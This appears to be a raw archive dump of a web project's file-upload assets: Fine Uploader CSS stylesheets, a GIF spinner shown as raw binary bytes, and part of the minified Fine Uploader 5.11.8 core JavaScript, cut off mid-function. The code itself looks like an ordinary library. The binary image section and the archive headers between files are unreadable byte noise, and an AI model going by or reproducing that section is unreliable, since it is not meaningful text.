.qq-upload-extra-drop-area {
    position: relative;
    margin-top: 50px;
    font-size: 16px;
    padding-top: 30px;
    height: 20px;
    min-height: 40px;
}
.qq-upload-drop-area-active {
    background: #FF7171;
}
.qq-upload-list {
    margin: 0;
    padding: 0;
    list-style: none;
}
.qq-upload-list li {
    margin: 0;
    padding: 9px;
    line-height: 15px;
    font-size: 16px;
    background-color: #FFF0BD;
}
.qq-upload-file, .qq-upload-spinner, .qq-upload-size,
.qq-upload-cancel, .qq-upload-retry, .qq-upload-failed-text,
.qq-upload-delete, .qq-upload-pause, .qq-upload-continue {
    margin-right: 12px;
    display: inline;
}
.qq-upload-file {
}
.qq-upload-spinner {
    display: inline-block;
    background: url("loading.gif");
    width: 15px;
    height: 15px;
    vertical-align: text-bottom;
}
.qq-drop-processing {
    display: block;
}
.qq-drop-processing-spinner {
    display: inline-block;
    background: url("processing.gif");
    width: 24px;
    height: 24px;
    vertical-align: text-bottom;
}

.qq-upload-delete, .qq-upload-pause, .qq-upload-continue {
    display: inline;
}

.qq-upload-retry, .qq-upload-delete, .qq-upload-cancel,
.qq-upload-pause, .qq-upload-continue {
    color: #000000;
}

.qq-upload-size, .qq-upload-cancel, .qq-upload-retry,
.qq-upload-delete, .qq-upload-pause, .qq-upload-continue {
    font-size: 12px;
    font-weight: normal;
}
.qq-upload-failed-text {
    display: none;
    font-style: italic;
    font-weight: bold;
}
.qq-upload-failed-icon {
    display:none;
    width:15px;
    height:15px;
    vertical-align:text-bottom;
}
.qq-upload-fail .qq-upload-failed-text {
    display: inline;
}
.qq-upload-retrying .qq-upload-failed-text {
    display: inline;
    color: #D60000;
}
.qq-upload-list li.qq-upload-success {
    background-color: #5DA30C;
    color: #FFFFFF;
}
.qq-upload-list li.qq-upload-fail {
    background-color: #D60000;
    color: #FFFFFF;
}
.qq-progress-bar {
    display: block;
    background: -moz-linear-gradient(top,  rgba(30,87,153,1) 0%, rgba(41,137,216,1) 50%, rgba(32,124,202,1) 51%, rgba(125,185,232,1) 100%); /* FF3.6+ */
    background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(30,87,153,1)), color-stop(50%,rgba(41,137,216,1)), color-stop(51%,rgba(32,124,202,1)), color-stop(100%,rgba(125,185,232,1))); /* Chrome,Safari4+ */
    background: -webkit-linear-gradient(top,  rgba(30,87,153,1) 0%,rgba(41,137,216,1) 50%,rgba(32,124,202,1) 51%,rgba(125,185,232,1) 100%); /* Chrome10+,Safari5.1+ */
    background: -o-linear-gradient(top,  rgba(30,87,153,1) 0%,rgba(41,137,216,1) 50%,rgba(32,124,202,1) 51%,rgba(125,185,232,1) 100%); /* Opera 11.10+ */
    background: -ms-linear-gradient(top,  rgba(30,87,153,1) 0%,rgba(41,137,216,1) 50%,rgba(32,124,202,1) 51%,rgba(125,185,232,1) 100%); /* IE10+ */
    background: linear-gradient(to bottom,  rgba(30,87,153,1) 0%,rgba(41,137,216,1) 50%,rgba(32,124,202,1) 51%,rgba(125,185,232,1) 100%); /* W3C */
    width: 0%;
    height: 15px;
    border-radius: 6px;
    margin-bottom: 3px;
}

.qq-total-progress-bar {
    height: 25px;
    border-radius: 9px;
}

.qq-total-progress-bar-container {
    margin: 9px;
}

INPUT.qq-edit-filename {
    position: absolute;
    opacity: 0;
    filter: alpha(opacity=0);
    z-index: -1;
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
}

.qq-upload-file.qq-editable {
    cursor: pointer;
}

.qq-edit-filename-icon.qq-editable {
    display: inline-block;
    cursor: pointer;
}

INPUT.qq-edit-filename.qq-editing {
    position: static;
    margin-top: -5px;
    margin-right: 10px;
    margin-bottom: -5px;

    opacity: 1;
    filter: alpha(opacity=100);
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
}

.qq-edit-filename-icon {
    display: none;
    background: url("edit.gif");
    width: 15px;
    height: 15px;
    vertical-align: text-bottom;
    margin-right: 5px;
}

.qq-hide {
    display: none;
}

/* <dialog> element styles */
.qq-uploader DIALOG {
    display: none;
}

.qq-uploader DIALOG[open] {
    display: block;
}

.qq-uploader DIALOG {
    display: none;
}

.qq-uploader DIALOG[open] {
    display: block;
}

.qq-uploader DIALOG .qq-dialog-buttons {
    text-align: center;
    padding-top: 10px;
}

.qq-uploader DIALOG .qq-dialog-buttons BUTTON {
    margin-left: 5px;
    margin-right: 5px;
}

.qq-uploader DIALOG .qq-dialog-message-selector {
    padding-bottom: 10px;
}

.qq-uploader DIALOG::backdrop {
    background-color: rgba(0, 0, 0, 0.7);
}js/fileupload/processing.gif000060400000006211150710775200012147 0ustar00GIF89a�������DFD��줦�$"$ljl��ܜ��\Z\������
��������<><���dbd���LJL���,*,|~|��ܤ��\^\��������������!�NETSCAPE2.0!�		#,���pHa0Ťrr8B�dd2$8!:�\%[�`A�&�§��`a��.4�Bq�x�f#VXqEoQI\#��I��nd��k}�	X	#�o
������		k#���Q�D
X
��#}
[J	"I}K�
�C�}KI��B�D�J�#�E��S!�		$,�������DBD$"$������424��\^\���tvt
���,.,������<:<������dfd���$&$���464���dbd�����ܴ���������@�pH,�F�#@:���>(�TJ�$ǁ�
��P ��������h�-H|U��E#o�CR�UBc#��#��������O��#��D�E��cO 	Flc$eB �E��cB	�ER$�c]O
B��$
�
��BA!�		&,����LJL������,*,dfd�����tvt���
TVT������424���������|~|���LNL���,.,trt������|z|���\Z\������464�������@�pH,�FN)�A:�% �"(��0"�VM)�!�DJM�#�9����(? @#}�DH|_��&�Fm�Bp�����_�C

�D���#G
!NE$p�F�pD"�!B#���D�R�R#�R�[�&�`p	F"i�B�U��OA!�		(,�������DBD$"$��䴲�dfd���424������,*,��켺�trt������LJL���������$&$��䴶�lnl<:<������,.,��켾�tvtLNL�������@�pH,�GM�$j�esXU�P鴐p�-��yG����|��f�N��d��!
'(fwii%i}L!�!i%�H��!(�x��B|y'!!�z~L
&Fi�G�i	"E�C"C�iE��'$��E W�(]w��("sw��C�LA!�		(,�������DFD���$"$���ljl��������tvt
\^\���������TRT���,.,������|~|������LJL���trt������|z|���424����������@�pH,�Ȥ��I��xN���(�GE���\K�$��0F_�dY	#&~I
V�I!"!B
yK!\�\�s(��~"s"(��J!#\#��D����JxF'��G\F{\$HsSD�
BB��C
'�m_
{~�\C�J\�D $�G�!�		%,�������<:<������TVT,*,��ܼ��LJL������dfd
��Դ��424������TRT������DFD�����\Z\,.,��ܼ��LNL������ljl������p8]�K��l/�(��R�A��L�D�t��NA�R�/��ǃ���
�vVc`U#!���`
KB�
QK��Y%
���R�������L�����N
$VQM	QVRM�$CrRN#C�Cr�b[�B

�C�`A!�		!,����<><���\^\���lnl�����LNL���dfd���tvt������
���LJL���dbd���,.,trt������TVT���ljl������pHd<�rY��$�h�,����L��	�����C"3P̀#�܌����HB\Jf
LtJo~SYK�_��KD��!B��b���_�O�B����S�����L�S
m�N_\
K�B�!O�K�!OC
�L���B  �)!�		#,�������DBD��촲�dfd�����
���TVT424���LJL���|~|������������DFD,*,��켺�ljl���������464������pH�l6	�rIL`�A�Y4�
��=O����vGG�4l��*1Ѓ2��L�GS[J[zL	bK^XT^T	 ��Lo��""#x[��"P"�o�^�����B��rS�������C
�^a�K
l_D��#��b��C
g��A;js/fileupload/fine-uploader-new.css000060400000016465150710775200013353 0ustar00/* ---------------------------------------
/* Fine Uploader Styles
/* ---------------------------------------

/* Buttons
------------------------------------------ */
.qq-btn
{
    box-shadow: 0 1px 1px rgba(255, 255, 255, 0.37) inset,
                1px 0 1px rgba(255, 255, 255, 0.07) inset,
                0 1px 0 rgba(0, 0, 0, 0.36),
                0 -2px 12px rgba(0, 0, 0, 0.08) inset;
    padding: 3px 4px;
    border: 1px solid #CCCCCC;
    border-radius: 2px;
    color: inherit;
    background-color: #FFFFFF;
}
.qq-upload-delete, .qq-upload-pause, .qq-upload-continue {
    display: inline;
}
.qq-upload-delete
{
    background-color: #e65c47;
    color: #FAFAFA;
    border-color: #dc523d;
    text-shadow: 0 1px 1px rgba(0, 0, 0, 0.55);
}
.qq-upload-delete:hover {
    background-color: #f56b56;
 }
.qq-upload-cancel
{
    background-color: #F5D7D7;
    border-color: #e6c8c8;
}
.qq-upload-cancel:hover {
    background-color: #ffe1e1;
}
.qq-upload-retry
{
    background-color: #EBF6E0;
    border-color: #d2ddc7;
}
.qq-upload-retry:hover {
    background-color: #f7ffec;
}
.qq-upload-pause, .qq-upload-continue {
    background-color: #00ABC7;
    color: #FAFAFA;
    border-color: #2dadc2;
    text-shadow: 0 1px 1px rgba(0, 0, 0, 0.55);
}
.qq-upload-pause:hover, .qq-upload-continue:hover {
    background-color: #0fbad6;
}

/* Upload Button
------------------------------------------ */
.qq-upload-button {
    display: inline;
    width: 105px;
    margin-bottom: 10px;
    padding: 7px 10px;
    text-align: center;
    float: left;
    background: #00ABC7;
    color: #FFFFFF;
    border-radius: 2px;
    border: 1px solid #2dadc2;
    box-shadow: 0 1px 1px rgba(255, 255, 255, 0.37) inset,
                1px 0 1px rgba(255, 255, 255, 0.07) inset,
                0 1px 0 rgba(0, 0, 0, 0.36),
                0 -2px 12px rgba(0, 0, 0, 0.08) inset;
}
.qq-upload-button-hover {
    background: #33B6CC;
}
.qq-upload-button-focus {
    outline: 1px dotted #000000;
}


/* Drop Zone
------------------------------------------ */
.qq-uploader {
    position: relative;
    min-height: 200px;
    max-height: 490px;
    overflow-y: hidden;
    width: inherit;
    border-radius: 6px;
    background-color: #FDFDFD;
    border: 1px dashed #CCCCCC;
    padding: 20px;
}
.qq-uploader:before {
    content: attr(qq-drop-area-text) " ";
    position: absolute;
    font-size: 200%;
    left: 0;
    width: 100%;
    text-align: center;
    top: 45%;
    opacity: 0.25;
}
.qq-upload-drop-area, .qq-upload-extra-drop-area {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    min-height: 30px;
    z-index: 2;
    background: #F9F9F9;
    border-radius: 4px;
    border: 1px dashed #CCCCCC;
    text-align: center;
}
.qq-upload-drop-area span {
    display: block;
    position: absolute;
    top: 50%;
    width: 100%;
    margin-top: -8px;
    font-size: 16px;
}
.qq-upload-extra-drop-area {
    position: relative;
    margin-top: 50px;
    font-size: 16px;
    padding-top: 30px;
    height: 20px;
    min-height: 40px;
}
.qq-upload-drop-area-active {
    background: #FDFDFD;
    border-radius: 4px;
    border: 1px dashed #CCCCCC;
}
.qq-upload-list {
    margin: 0;
    padding: 0;
    list-style: none;
    max-height: 450px;
    overflow-y: auto;
    box-shadow: 0px 1px 0px rgba(15, 15, 50, 0.14);
    clear: both;
}


/* Uploaded Elements
------------------------------------------ */
.qq-upload-list li {
    margin: 0;
    padding: 9px;
    line-height: 15px;
    font-size: 16px;
    color: #424242;
    background-color: #F6F6F6;
    border-top: 1px solid #FFFFFF;
    border-bottom: 1px solid #DDDDDD;
}
.qq-upload-list li:first-child {
    border-top: none;
}
.qq-upload-list li:last-child {
    border-bottom: none;
}

.qq-upload-file, .qq-upload-spinner, .qq-upload-size,
.qq-upload-cancel, .qq-upload-retry, .qq-upload-failed-text,
.qq-upload-delete, .qq-upload-pause, .qq-upload-continue {
    margin-right: 12px;
    display: inline;
}
.qq-upload-file {
    vertical-align: middle;
    display: inline-block;
    width: 300px;
    text-overflow: ellipsis;
    white-space: nowrap;
    overflow-x: hidden;
    height: 18px;
}
.qq-upload-spinner {
    display: inline-block;
    background: url("loading.gif");
    width: 15px;
    height: 15px;
    vertical-align: text-bottom;
}
.qq-drop-processing {
    display: block;
}
.qq-drop-processing-spinner {
    display: inline-block;
    background: url("processing.gif");
    width: 24px;
    height: 24px;
    vertical-align: text-bottom;
}
.qq-upload-size, .qq-upload-cancel, .qq-upload-retry,
.qq-upload-delete, .qq-upload-pause, .qq-upload-continue {
    font-size: 12px;
    font-weight: normal;
    cursor: pointer;
    vertical-align: middle;
}
.qq-upload-status-text {
    font-size: 14px;
    font-weight: bold;
    display: block;
}
.qq-upload-failed-text {
    display: none;
    font-style: italic;
    font-weight: bold;
}
.qq-upload-failed-icon {
    display:none;
    width:15px;
    height:15px;
    vertical-align:text-bottom;
}
.qq-upload-fail .qq-upload-failed-text {
    display: inline;
}
.qq-upload-retrying .qq-upload-failed-text {
    display: inline;
}
.qq-upload-list li.qq-upload-success {
    background-color: #EBF6E0;
    color: #424242;
    border-bottom: 1px solid #D3DED1;
    border-top: 1px solid #F7FFF5;
}
.qq-upload-list li.qq-upload-fail {
    background-color: #F5D7D7;
    color: #424242;
    border-bottom: 1px solid #DECACA;
    border-top: 1px solid #FCE6E6;
}
.qq-progress-bar {
    display: block;
    display: block;
    background: #00abc7;
    width: 0%;
    height: 15px;
    border-radius: 6px;
    margin-bottom: 3px;
}

.qq-total-progress-bar {
    height: 25px;
    border-radius: 9px;
}

.qq-total-progress-bar-container {
    margin-left: 9px;
    display: inline;
    float: right;
    width: 500px;
}

INPUT.qq-edit-filename {
    position: absolute;
    opacity: 0;
    filter: alpha(opacity=0);
    z-index: -1;
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
}

.qq-upload-file.qq-editable {
    cursor: pointer;
    margin-right: 4px;
}

.qq-edit-filename-icon.qq-editable {
    display: inline-block;
    cursor: pointer;
}

INPUT.qq-edit-filename.qq-editing {
    position: static;
    height: 28px;
    padding: 0 8px;
    margin-right: 10px;
    margin-bottom: -5px;
    border: 1px solid #ccc;
    border-radius: 2px;
    font-size: 16px;

    opacity: 1;
    filter: alpha(opacity=100);
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
}

.qq-edit-filename-icon {
    display: none;
    background: url("edit.gif");
    width: 15px;
    height: 15px;
    vertical-align: text-bottom;
    margin-right: 16px;
}

.qq-hide {
    display: none;
}


/* Thumbnail
------------------------------------------ */
.qq-thumbnail-selector {
    vertical-align: middle;
    margin-right: 12px;
}


/* <dialog> element styles */
.qq-uploader DIALOG {
    display: none;
}

.qq-uploader DIALOG[open] {
    display: block;
}

.qq-uploader DIALOG {
    display: none;
}

.qq-uploader DIALOG[open] {
    display: block;
}

.qq-uploader DIALOG .qq-dialog-buttons {
    text-align: center;
    padding-top: 10px;
}

.qq-uploader DIALOG .qq-dialog-buttons BUTTON {
    margin-left: 5px;
    margin-right: 5px;
}

.qq-uploader DIALOG .qq-dialog-message-selector {
    padding-bottom: 10px;
}

.qq-uploader DIALOG::backdrop {
    background-color: rgba(0, 0, 0, 0.7);
}js/fileupload/fine-uploader.core.min.js000060400000311755150710775200014121 0ustar00// Fine Uploader 5.11.8 - (c) 2013-present Widen Enterprises, Inc. MIT licensed. http://fineuploader.com
!function(global){var qq=function(e){"use strict";return{hide:function(){return e.style.display="none",this},attach:function(t,n){return e.addEventListener?e.addEventListener(t,n,!1):e.attachEvent&&e.attachEvent("on"+t,n),function(){qq(e).detach(t,n)}},detach:function(t,n){return e.removeEventListener?e.removeEventListener(t,n,!1):e.attachEvent&&e.detachEvent("on"+t,n),this},contains:function(t){return!!t&&(e===t||(e.contains?e.contains(t):!!(8&t.compareDocumentPosition(e))))},insertBefore:function(t){return t.parentNode.insertBefore(e,t),this},remove:function(){return e.parentNode.removeChild(e),this},css:function(t){if(null==e.style)throw new qq.Error("Can't apply style to node as it is not on the HTMLElement prototype chain!");return null!=t.opacity&&"string"!=typeof e.style.opacity&&"undefined"!=typeof e.filters&&(t.filter="alpha(opacity="+Math.round(100*t.opacity)+")"),qq.extend(e.style,t),this},hasClass:function(t,n){var i=new RegExp("(^| )"+t+"( |$)");return i.test(e.className)||!(!n||!i.test(e.parentNode.className))},addClass:function(t){return qq(e).hasClass(t)||(e.className+=" "+t),this},removeClass:function(t){var n=new RegExp("(^| )"+t+"( |$)");return e.className=e.className.replace(n," ").replace(/^\s+|\s+$/g,""),this},getByClass:function(t,n){var i,o=[];return n&&e.querySelector?e.querySelector("."+t):e.querySelectorAll?e.querySelectorAll("."+t):(i=e.getElementsByTagName("*"),qq.each(i,function(e,n){qq(n).hasClass(t)&&o.push(n)}),n?o[0]:o)},getFirstByClass:function(t){return qq(e).getByClass(t,!0)},children:function(){for(var t=[],n=e.firstChild;n;)1===n.nodeType&&t.push(n),n=n.nextSibling;return t},setText:function(t){return e.innerText=t,e.textContent=t,this},clearText:function(){return qq(e).setText("")},hasAttribute:function(t){var n;return e.hasAttribute?!!e.hasAttribute(t)&&null==/^false$/i.exec(e.getAttribute(t)):(n=e[t],void 0!==n&&null==/^false$/i.exec(n))}}};!function(){"use strict";qq.canvasToBlob=function(e,t,n){return qq.dataUriToBlob(e.toDataURL(t,n))},qq.dataUriToBlob=function(e){var t,n,i,o,r=function(e,t){var n=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder||window.MSBlobBuilder,i=n&&new n;return i?(i.append(e),i.getBlob(t)):new Blob([e],{type:t})};return n=e.split(",")[0].indexOf("base64")>=0?atob(e.split(",")[1]):decodeURI(e.split(",")[1]),o=e.split(",")[0].split(":")[1].split(";")[0],t=new ArrayBuffer(n.length),i=new Uint8Array(t),qq.each(n,function(e,t){i[e]=t.charCodeAt(0)}),r(t,o)},qq.log=function(e,t){window.console&&(t&&"info"!==t?window.console[t]?window.console[t](e):window.console.log("<"+t+"> "+e):window.console.log(e))},qq.isObject=function(e){return e&&!e.nodeType&&"[object Object]"===Object.prototype.toString.call(e)},qq.isFunction=function(e){return"function"==typeof e},qq.isArray=function(e){return"[object Array]"===Object.prototype.toString.call(e)||e&&window.ArrayBuffer&&e.buffer&&e.buffer.constructor===ArrayBuffer},qq.isItemList=function(e){return"[object DataTransferItemList]"===Object.prototype.toString.call(e)},qq.isNodeList=function(e){return"[object NodeList]"===Object.prototype.toString.call(e)||e.item&&e.namedItem},qq.isString=function(e){return"[object String]"===Object.prototype.toString.call(e)},qq.trimStr=function(e){return String.prototype.trim?e.trim():e.replace(/^\s+|\s+$/g,"")},qq.format=function(e){var t=Array.prototype.slice.call(arguments,1),n=e,i=n.indexOf("{}");return qq.each(t,function(e,t){var o=n.substring(0,i),r=n.substring(i+2);if(n=o+t+r,i=n.indexOf("{}",i+t.length),i<0)return!1}),n},qq.isFile=function(e){return window.File&&"[object File]"===Object.prototype.toString.call(e)},qq.isFileList=function(e){return window.FileList&&"[object FileList]"===Object.prototype.toString.call(e)},qq.isFileOrInput=function(e){return qq.isFile(e)||qq.isInput(e)},qq.isInput=function(e,t){var n=function(e){var n=e.toLowerCase();return t?"file"!==n:"file"===n};return!!(window.HTMLInputElement&&"[object HTMLInputElement]"===Object.prototype.toString.call(e)&&e.type&&n(e.type))||!!(e.tagName&&"input"===e.tagName.toLowerCase()&&e.type&&n(e.type))},qq.isBlob=function(e){if(window.Blob&&"[object Blob]"===Object.prototype.toString.call(e))return!0},qq.isXhrUploadSupported=function(){var e=document.createElement("input");return e.type="file",void 0!==e.multiple&&"undefined"!=typeof File&&"undefined"!=typeof FormData&&"undefined"!=typeof qq.createXhrInstance().upload},qq.createXhrInstance=function(){if(window.XMLHttpRequest)return new XMLHttpRequest;try{return new ActiveXObject("MSXML2.XMLHTTP.3.0")}catch(e){return qq.log("Neither XHR or ActiveX are supported!","error"),null}},qq.isFolderDropSupported=function(e){return e.items&&e.items.length>0&&e.items[0].webkitGetAsEntry},qq.isFileChunkingSupported=function(){return!qq.androidStock()&&qq.isXhrUploadSupported()&&(void 0!==File.prototype.slice||void 0!==File.prototype.webkitSlice||void 0!==File.prototype.mozSlice)},qq.sliceBlob=function(e,t,n){var i=e.slice||e.mozSlice||e.webkitSlice;return i.call(e,t,n)},qq.arrayBufferToHex=function(e){var t="",n=new Uint8Array(e);return qq.each(n,function(e,n){var i=n.toString(16);i.length<2&&(i="0"+i),t+=i}),t},qq.readBlobToHex=function(e,t,n){var i=qq.sliceBlob(e,t,t+n),o=new FileReader,r=new qq.Promise;return o.onload=function(){r.success(qq.arrayBufferToHex(o.result))},o.onerror=r.failure,o.readAsArrayBuffer(i),r},qq.extend=function(e,t,n){return qq.each(t,function(t,i){n&&qq.isObject(i)?(void 0===e[t]&&(e[t]={}),qq.extend(e[t],i,!0)):e[t]=i}),e},qq.override=function(e,t){var n={},i=t(n);return qq.each(i,function(t,i){void 0!==e[t]&&(n[t]=e[t]),e[t]=i}),e},qq.indexOf=function(e,t,n){if(e.indexOf)return e.indexOf(t,n);n=n||0;var i=e.length;for(n<0&&(n+=i);n<i;n+=1)if(e.hasOwnProperty(n)&&e[n]===t)return n;return-1},qq.getUniqueId=function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0,n="x"==e?t:3&t|8;return n.toString(16)})},qq.ie=function(){return navigator.userAgent.indexOf("MSIE")!==-1||navigator.userAgent.indexOf("Trident")!==-1},qq.ie7=function(){return navigator.userAgent.indexOf("MSIE 7")!==-1},qq.ie8=function(){return navigator.userAgent.indexOf("MSIE 8")!==-1},qq.ie10=function(){return navigator.userAgent.indexOf("MSIE 10")!==-1},qq.ie11=function(){return qq.ie()&&navigator.userAgent.indexOf("rv:11")!==-1},qq.edge=function(){return navigator.userAgent.indexOf("Edge")>=0},qq.safari=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Apple")!==-1},qq.chrome=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Google")!==-1},qq.opera=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Opera")!==-1},qq.firefox=function(){return!qq.edge()&&!qq.ie11()&&navigator.userAgent.indexOf("Mozilla")!==-1&&void 0!==navigator.vendor&&""===navigator.vendor},qq.windows=function(){return"Win32"===navigator.platform},qq.android=function(){return navigator.userAgent.toLowerCase().indexOf("android")!==-1},qq.androidStock=function(){return qq.android()&&navigator.userAgent.toLowerCase().indexOf("chrome")<0},qq.ios6=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 6_")!==-1},qq.ios7=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 7_")!==-1},qq.ios8=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 8_")!==-1},qq.ios800=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 8_0 ")!==-1},qq.ios=function(){return navigator.userAgent.indexOf("iPad")!==-1||navigator.userAgent.indexOf("iPod")!==-1||navigator.userAgent.indexOf("iPhone")!==-1},qq.iosChrome=function(){return qq.ios()&&navigator.userAgent.indexOf("CriOS")!==-1},qq.iosSafari=function(){return qq.ios()&&!qq.iosChrome()&&navigator.userAgent.indexOf("Safari")!==-1},qq.iosSafariWebView=function(){return qq.ios()&&!qq.iosChrome()&&!qq.iosSafari()},qq.preventDefault=function(e){e.preventDefault?e.preventDefault():e.returnValue=!1},qq.toElement=function(){var e=document.createElement("div");return function(t){e.innerHTML=t;var n=e.firstChild;return e.removeChild(n),n}}(),qq.each=function(e,t){var n,i;if(e)if(window.Storage&&e.constructor===window.Storage)for(n=0;n<e.length&&(i=t(e.key(n),e.getItem(e.key(n))),i!==!1);n++);else if(qq.isArray(e)||qq.isItemList(e)||qq.isNodeList(e))for(n=0;n<e.length&&(i=t(n,e[n]),i!==!1);n++);else if(qq.isString(e))for(n=0;n<e.length&&(i=t(n,e.charAt(n)),i!==!1);n++);else for(n in e)if(Object.prototype.hasOwnProperty.call(e,n)&&(i=t(n,e[n]),i===!1))break},qq.bind=function(e,t){if(qq.isFunction(e)){var n=Array.prototype.slice.call(arguments,2);return function(){var i=qq.extend([],n);return arguments.length&&(i=i.concat(Array.prototype.slice.call(arguments))),e.apply(t,i)}}throw new Error("first parameter must be a function!")},qq.obj2url=function(e,t,n){var i=[],o="&",r=function(e,n){var o=t?/\[\]$/.test(t)?t:t+"["+n+"]":n;"undefined"!==o&&"undefined"!==n&&i.push("object"==typeof e?qq.obj2url(e,o,!0):"[object Function]"===Object.prototype.toString.call(e)?encodeURIComponent(o)+"="+encodeURIComponent(e()):encodeURIComponent(o)+"="+encodeURIComponent(e))};return!n&&t?(o=/\?/.test(t)?/\?$/.test(t)?"":"&":"?",i.push(t),i.push(qq.obj2url(e))):"[object Array]"===Object.prototype.toString.call(e)&&"undefined"!=typeof e?qq.each(e,function(e,t){r(t,e)}):"undefined"!=typeof e&&null!==e&&"object"==typeof e?qq.each(e,function(e,t){r(t,e)}):i.push(encodeURIComponent(t)+"="+encodeURIComponent(e)),t?i.join(o):i.join(o).replace(/^&/,"").replace(/%20/g,"+")},qq.obj2FormData=function(e,t,n){return t||(t=new FormData),qq.each(e,function(e,i){e=n?n+"["+e+"]":e,qq.isObject(i)?qq.obj2FormData(i,t,e):qq.isFunction(i)?t.append(e,i()):t.append(e,i)}),t},qq.obj2Inputs=function(e,t){var n;return t||(t=document.createElement("form")),qq.obj2FormData(e,{append:function(e,i){n=document.createElement("input"),n.setAttribute("name",e),n.setAttribute("value",i),t.appendChild(n)}}),t},qq.parseJson=function(json){return window.JSON&&qq.isFunction(JSON.parse)?JSON.parse(json):eval("("+json+")")},qq.getExtension=function(e){var t=e.lastIndexOf(".")+1;if(t>0)return e.substr(t,e.length-t)},qq.getFilename=function(e){return qq.isInput(e)?e.value.replace(/.*(\/|\\)/,""):qq.isFile(e)&&null!==e.fileName&&void 0!==e.fileName?e.fileName:e.name},qq.DisposeSupport=function(){var e=[];return{dispose:function(){var t;do t=e.shift(),t&&t();while(t)},attach:function(){var e=arguments;this.addDisposer(qq(e[0]).attach.apply(this,Array.prototype.slice.call(arguments,1)))},addDisposer:function(t){e.push(t)}}}}(),function(){"use strict";"function"==typeof define&&define.amd?define(function(){return qq}):"undefined"!=typeof module&&module.exports?module.exports=qq:global.qq=qq}(),function(){"use strict";qq.Error=function(e){this.message="[Fine Uploader "+qq.version+"] "+e},qq.Error.prototype=new Error}(),qq.version="5.11.8",qq.supportedFeatures=function(){"use strict";function e(){var e,t=!0;try{e=document.createElement("input"),e.type="file",qq(e).hide(),e.disabled&&(t=!1)}catch(e){t=!1}return t}function t(){return(qq.chrome()||qq.opera())&&void 0!==navigator.userAgent.match(/Chrome\/[2][1-9]|Chrome\/[3-9][0-9]/)}function n(){return(qq.chrome()||qq.opera())&&void 0!==navigator.userAgent.match(/Chrome\/[1][4-9]|Chrome\/[2-9][0-9]/)}function i(){if(window.XMLHttpRequest){var e=qq.createXhrInstance();return void 0!==e.withCredentials}return!1}function o(){return void 0!==window.XDomainRequest}function r(){return!!i()||o()}function a(){return void 0!==document.createElement("input").webkitdirectory}function s(){try{return!!window.localStorage&&qq.isFunction(window.localStorage.setItem)}catch(e){return!1}}function u(){var e=document.createElement("span");return("draggable"in e||"ondragstart"in e&&"ondrop"in e)&&!qq.android()&&!qq.ios()}var l,c,d,f,p,q,h,m,g,_,b,v,S,w,y;return l=e(),f=l&&qq.isXhrUploadSupported(),c=f&&!qq.androidStock(),d=f&&u(),p=d&&t(),q=f&&qq.isFileChunkingSupported(),h=f&&q&&s(),m=f&&n(),g=l&&(void 0!==window.postMessage||f),b=i(),_=o(),v=r(),S=a(),w=f&&void 0!==window.FileReader,y=function(){return!!f&&(!qq.androidStock()&&!qq.iosChrome())}(),{ajaxUploading:f,blobUploading:c,canDetermineSize:f,chunking:q,deleteFileCors:v,deleteFileCorsXdr:_,deleteFileCorsXhr:b,dialogElement:!!window.HTMLDialogElement,fileDrop:d,folderDrop:p,folderSelection:S,imagePreviews:w,imageValidation:w,itemSizeValidation:f,pause:q,progressBar:y,resume:h,scaling:w&&c,tiffPreviews:qq.safari(),unlimitedScaledImageSize:!qq.ios(),uploading:l,uploadCors:g,uploadCustomHeaders:f,uploadNonMultipart:f,uploadViaPaste:m}}(),qq.isGenericPromise=function(e){"use strict";return!!(e&&e.then&&qq.isFunction(e.then))},qq.Promise=function(){"use strict";var e,t,n=[],i=[],o=[],r=0;qq.extend(this,{then:function(o,a){return 0===r?(o&&n.push(o),a&&i.push(a)):r===-1?a&&a.apply(null,t):o&&o.apply(null,e),this},done:function(n){return 0===r?o.push(n):n.apply(null,void 0===t?e:t),this},success:function(){return r=1,e=arguments,n.length&&qq.each(n,function(t,n){n.apply(null,e)}),o.length&&qq.each(o,function(t,n){n.apply(null,e)}),this},failure:function(){return r=-1,t=arguments,i.length&&qq.each(i,function(e,n){n.apply(null,t)}),o.length&&qq.each(o,function(e,n){n.apply(null,t)}),this}})},qq.BlobProxy=function(e,t){"use strict";qq.extend(this,{referenceBlob:e,create:function(){return t(e)}})},qq.UploadButton=function(e){"use strict";function t(){var e=document.createElement("input");return e.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME,i),e.setAttribute("title",a.title),o.setMultiple(a.multiple,e),a.folders&&qq.supportedFeatures.folderSelection&&e.setAttribute("webkitdirectory",""),a.acceptFiles&&e.setAttribute("accept",a.acceptFiles),e.setAttribute("type","file"),e.setAttribute("name",a.name),qq(e).css({position:"absolute",right:0,top:0,fontFamily:"Arial",fontSize:qq.ie()&&!qq.ie8()?"3500px":"118px",margin:0,padding:0,cursor:"pointer",opacity:0}),!qq.ie7()&&qq(e).css({height:"100%"}),a.element.appendChild(e),r.attach(e,"change",function(){a.onChange(e)}),r.attach(e,"mouseover",function(){qq(a.element).addClass(a.hoverClass)}),r.attach(e,"mouseout",function(){qq(a.element).removeClass(a.hoverClass)}),r.attach(e,"focus",function(){qq(a.element).addClass(a.focusClass)}),r.attach(e,"blur",function(){qq(a.element).removeClass(a.focusClass)}),e}var n,i,o=this,r=new qq.DisposeSupport,a={acceptFiles:null,element:null,focusClass:"qq-upload-button-focus",folders:!1,hoverClass:"qq-upload-button-hover",ios8BrowserCrashWorkaround:!1,multiple:!1,name:"qqfile",onChange:function(e){},title:null};qq.extend(a,e),i=qq.getUniqueId(),qq(a.element).css({position:"relative",overflow:"hidden",direction:"ltr"}),qq.extend(this,{getInput:function(){return 